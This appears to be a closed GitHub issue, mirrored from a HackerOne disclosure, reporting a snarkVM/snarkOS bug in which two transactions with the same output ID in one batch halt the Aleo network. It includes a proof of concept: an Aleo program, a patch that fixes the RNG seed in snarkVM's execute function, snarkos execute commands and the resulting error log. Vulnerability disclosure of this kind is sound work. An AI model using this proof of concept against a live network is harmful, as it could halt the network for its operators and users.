Closed feezybabee closed 8 months ago
Two transactions contain the same output_id in the single batch halt the network
program attack_output.aleo { record out_record { owner: address, a: u32, } transition main(x: u32) -> out_record { let r: out_record = out_record { owner: self.caller, a: 1u32, }; return r; } }
https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37
pub fn execute<R: Rng + CryptoRng>( &self, private_key: &PrivateKey<N>, (program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>), inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>, fee_record: Option<Record<N, Plaintext<N>>>, priority_fee_in_microcredits: u64, query: Option<Query<N, C::BlockStorage>>, rng: &mut R, ) -> Result<Transaction<N>> { /// *** Modify ***/// use rand::SeedableRng; let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0); /// *** Modify ***/// //***Modify `rng` -> `rng_same`***// let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?; // .... //***Modify `rng` -> `rng_same`***// let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?; // Don't change the `rng` used to generate `fee_transition`
Use the patched snarkvm version to build snarkos
snarkvm
snarkos
Generata transactions with different transition ids but the same output id.
source .env FUNCTION_NAME=main ARG1=1u32 # 1 snarkos developer execute \ --private-key ${PRIVATE_KEY} \ --query ${API_PREFIX} \ --priority-fee 1000 $PROGRAM_NAME $FUNCTION_NAME $ARG1 \ --dry-run > t1.json # 2 FUNCTION_NAME=main ARG1=2u32 snarkos developer execute \ --private-key ${PRIVATE_KEY} \ --query ${API_PREFIX} \ --priority-fee 1000 $PROGRAM_NAME $FUNCTION_NAME $ARG1 \ --dry-run > t1.json
2023-12-18T10:19:18.249065Z ERROR BFT failed to advance the subdag for round 74 - Found a duplicate output ID in block 30
self.ledger.prepare_advance_to_next_quorum_block
transition_id
self.ledger.check_next_block
output_id
The vulnerability will halt the network easily.
Seemingly related to https://github.com/AleoHQ/snarkVM/issues/2262
https://hackerone.com/reports/2289881
Summary
Two transactions contain the same output_id in the single batch halt the network
Steps To Reproduce:
https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37
Use the patched
snarkvm
version to buildsnarkos
Generata transactions with different transition ids but the same output id.
Proof-of-Concept (PoC)
self.ledger.prepare_advance_to_next_quorum_block
doesn't check the transactions whether have the sametransition_id
.self.ledger.check_next_block
will check whether there are the sameoutput_id
s.When the check fails, the transmissions will be reinserted.Impact
The vulnerability will halt the network easily.